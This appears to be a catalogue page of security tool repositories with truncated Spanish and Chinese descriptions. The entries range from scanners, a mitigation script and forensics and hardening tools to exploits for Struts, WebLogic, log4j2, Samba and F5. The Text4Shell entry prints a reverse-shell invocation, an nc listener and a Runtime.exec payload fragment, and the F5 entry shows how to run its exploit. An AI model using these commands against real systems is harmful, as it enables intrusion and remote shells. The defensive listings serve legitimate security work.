cve2025-20265

cve2025-20265 Script Python seguro para detectar instancias Cisco FMC potencialmente vulnerables a CVE-2025-20265. Usa la API oficial de FMC para verificar la versión, admite escaneo de objetivo único/múltiple e incluye un marcador PoC local inofensivo. Cisco FMC CVE-2025-20265 Vulnerability...

Apache-Struts-v4

Apache-Struts-v4 该脚本包含5种不同的漏洞，它们利用Apache Struts中的RCE类型漏洞。目前仅支持创建PHP shell的功能。 CVE 列表 CVE ID| 描述 ---|--- CVE-2013-2251| Apache Struts 2.0.0 至 2.3.15 允许远程攻击者通过带有精心构造的 1 action:、2 redirect: 或 3 redirectAction: 前缀的参数执行任意 OGNL 表达式。 CVE-2017-5638| Apache Struts 2 2.3.x 之前 2.3.32 和 2.5.x 之前 2.5.10.1 中的...

CVE-2022-30190

CVE-2022-30190 Mitigación para CVE-2022-30190 El script requiere ejecutarse como administrador. Este script ha sido probado con la herramienta Connectwise Automate RMM para su implementación. Encontré esta solución más limpia que hacer una copia de seguridad y eliminar cualquier cosa del registro...

WebLogic-SSRF_CVE-2014-4210

WebLogic-SSRFCVE-2014-4210 Script de explotación de SSRF CVE-2014-4210 en Weblogic SearchPublicRegistries basado en Python3 Uso argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -u U URL objetivo única -uf UF Lee URLs desde un archivo -p P Escanea solo los puertos especificad...

log4j2_dos_exploit

说明 about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos 漏洞利用脚本 CVE-2021-45105 Exploit CVE-2021-45105 利用脚本 利用方式 how to use English： Log4j2dos.py -u -m -d -H -l -t -u,--url attack target -m,--method http...

hblock

通过拦截广告、跟踪和恶意软件域名来提升您的安全性和隐私。 这是做什么的？ hBlock 是一个符合 POSIX 标准的 Shell 脚本，它从多个来源获取提供广告、跟踪脚本和恶意软件的域名列表，并生成一个hosts 文件以及其他格式，以阻止您的系统连接这些域名。 ⚠️ 默认情况下，hBlock 会替换您系统的 hosts 文件 ，如果您有想要保留的条目，请先考虑备份。 安装 hBlock 在多种包管理器中可用。请查看 PACKAGES.md 文件获取最新列表。 也可以通过运行以下命令手动安装最新版本： curl -o /tmp/hblock...

CyberPipe

CyberPipe v5.3 （原名 CSIRT-Collect） 一个易于使用的PowerShell脚本，用于收集内存和磁盘取证数据，以用于数字取证与事件响应（DFIR）调查。 功能： 🐏 使用MAGNET DumpIt（支持x86、x64和ARM64）或MAGNET RAM Capture（用于旧系统）捕获内存镜像。 💻 使用MAGNET Response CLI收集分类数据，可选择预设配置文件或自定义选项。 🔐 使用MAGNET Encrypted Disk Detector检测全盘加密。 🔑 从所有加密卷中恢复BitLocker恢复密钥。 💾...

lazyrecon

/ \ / / \ /// ///Y / \ /| | | | / | / / \ / | /|| \ | / | / || |\ || | | /| |-||/ / / / | /| / | | /|| | || // |/// /\ | // | Uso ./lazyrecon.sh target.com Acerca de Este script está diseñado para automatizar tu proceso de reconocimiento de forma organizada, realizando lo siguiente: Crear una...

SpoofThatMail

SpoofThatMail Bash脚本，用于根据DMARC记录检查单个域名或域名列表是否可以被伪造 包含域名的文件（每行一个）： sh SpoofThatMail.sh -f domains.txt 单个域名： sh SpoofThatMail.sh -d domain...

CVE-2022-22954-POC

CVE-2022-22954-POC VMware Workspace ONE Access（以前称为VMware Identity Manager）旨在通过多因素身份验证、条件访问和单点登录，让您的员工更快地访问SaaS、Web和本机移动应用程序。 近日VMware官网发布了VMware Workspace ONE Access存在多个漏洞： 其中漏洞编号CVE-2022-22954，CVSS评分为9.8，危害等级为严重。影响版本如下： VMware Workspace ONE Access Appliance （版本号：20.10.0.0 ，20.10.0.1 ，21.08.0.0...

CVE-2007-2447

ExploitDev 之旅 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' 命令执行 原始漏洞利用：https://www.exploit-db.com/exploits/16320 漏洞利用名称： Samba username map script RCE CVE： 2007-2447 靶机： Lame - HackTheBox 描述 在低于 3.0.25 的 Samba 版本中存在一个漏洞，攻击者可以通过向 SMB 服务器发送畸形的请求作为用户名来执行系统命令。 工作原理 以下是使用 nohup...

SambaCry

SambaCry CVE-2017-7494.nse - Script de detección de Nmap...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： nc -nlvp 4444 有效载荷逻辑 该脚本注入： $script:javascript:java.lang.Runtime.getRuntime.exec... 通过POST请求的/data参数发送反弹Shell。...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 Reverse Shell para CVE-2022-1388 Descarga y Uso git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys...

chaps

CHAPS: Configuration Hardening Assessment PowerShell Scripts CHAPS is a set of read-only scripts for checking Windows system security configuration where additional assessment software such as Microsoft Policy Analyzer or commercial tools cannot be installed. It is designed for Industrial Control...

CVE-2018-7935

CVE-2018-7935 POC Obtén una sesión válida primero curl http://192.168.8.1/html/index.html | grep SessionID Instrucciones: Edita exploit.py, inserta el SessionID capturado Estado de la vulnerabilidad: Confirmación recibida y parche publicado...

PrivescCheck

PrivescCheck Quickly identify common Windows vulnerabilities and configuration issues that are not necessarily covered by public security standards, and collect useful information for exploitation and post-exploitation tasks. !IMPORTANT A major aspect to be aware of when using this tool is that a...

zafrida-ui

中文 | English ZAFrida UI - PyCharm Frida Plugin 当前版本： 0.3.7 0.3.7 主要更新 每个 ZAFrida Project 可独立选择或共享 Python/Frida 环境，默认使用当前 PyCharm 项目解释器，支持 venv、Conda、uv、Poetry、Pipenv、Hatch 等本地环境。 重新设计 Session UI 与 Project Settings，完整显示插件、Python 和 Frida 版本信息，并优化自适应、可拖动日志面板与会话状态。 完整支持 .js / .ts、Frida 16/17、多项目环境切换，...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902 利用工具 POC bash 版本...

Minio-Security-Vulnerability-Checker

Minio 安全漏洞检查器 描述 该程序是一个用于检查Minio系统与CVE-2022-35919漏洞相关安全性的工具。旨在帮助用户检测其Minio配置中的潜在漏洞。 使用方法 1. 确保您的系统已安装Python（3.x版本）。 2. 从本仓库下载脚本miniosecuritychecker.py。 3. 打开终端或命令提示符，使用以下命令运行脚本： python miniosecuritychecker.py -u -a -s 将、和替换为相应的信息。 4. 等待脚本完成处理。结果将显示在终端中。 用途 该工具可用于： 检测Minio系统上的CVE-2022-35919安全漏洞。...